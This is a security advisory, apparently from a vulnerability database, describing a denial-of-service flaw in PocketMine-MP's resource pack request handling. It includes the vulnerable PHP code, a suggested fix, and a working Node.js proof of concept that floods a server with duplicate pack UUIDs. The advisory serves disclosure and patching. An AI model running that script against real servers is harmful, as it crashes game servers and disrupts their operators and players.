High

PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking

  • Disclosed: 02.09.2025
  • Updated: 11.10.2026 10:22

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.


Details

Relevant code (simplified):

php
case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

  1. Remove duplicates from the incoming packIds array.
  2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
  3. Track which packs have already been sent to this player, and skip any that have already been transferred.
php
$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

  1. Join a PocketMine-MP server with at least one resource pack enabled.

  2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

    • status = STATUS_SEND_PACKS
    • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

js
import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package pocketmine/pocketmine-mp < 5.32.1 5.32.1

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-770
Platform
Composer
Package
pocketmine/pocketmine-mp
Disclosed
02.09.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-fqqv-56h5-f57g - CC BY 4.0

Vulnerability history: pocketmine/pocketmine-mp

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (30) in the archive
Total entries
30
First → latest
11.2020 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 20
  • Medium 8
  • Low 2

Disclosures per year

  1. 2020: 1
  2. 2021: 1
  3. 2022: 11
  4. 2023: 8
  5. 2024: 2
  6. 2025: 2
  7. 2026: 5
Severity:
  1. PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking this entry
    High CVE-2025-71417 < 5.32.1 5.32.1
  2. High · 7.5 CVE-2023-54392 >= 4.20.0, < 4.22.3, >= 5.0.0, < 5.2.1 4.22.3, 5.2.1
  3. High · 7.5 CVE-2022-51012 < 4.2.9 4.2.9
  4. High · 7.5 CVE-2022-51014 >= 4.0.0, < 4.0.7 4.0.7
  5. High · 7.5 CVE-2022-51015 < 4.0.6 4.0.6
  6. High · 7.5 CVE-2022-51017 < 3.26.5, >= 4.0.0, < 4.0.5 3.26.5, 4.0.5
  7. High CVE-2020-37277 < 3.15.4 3.15.4

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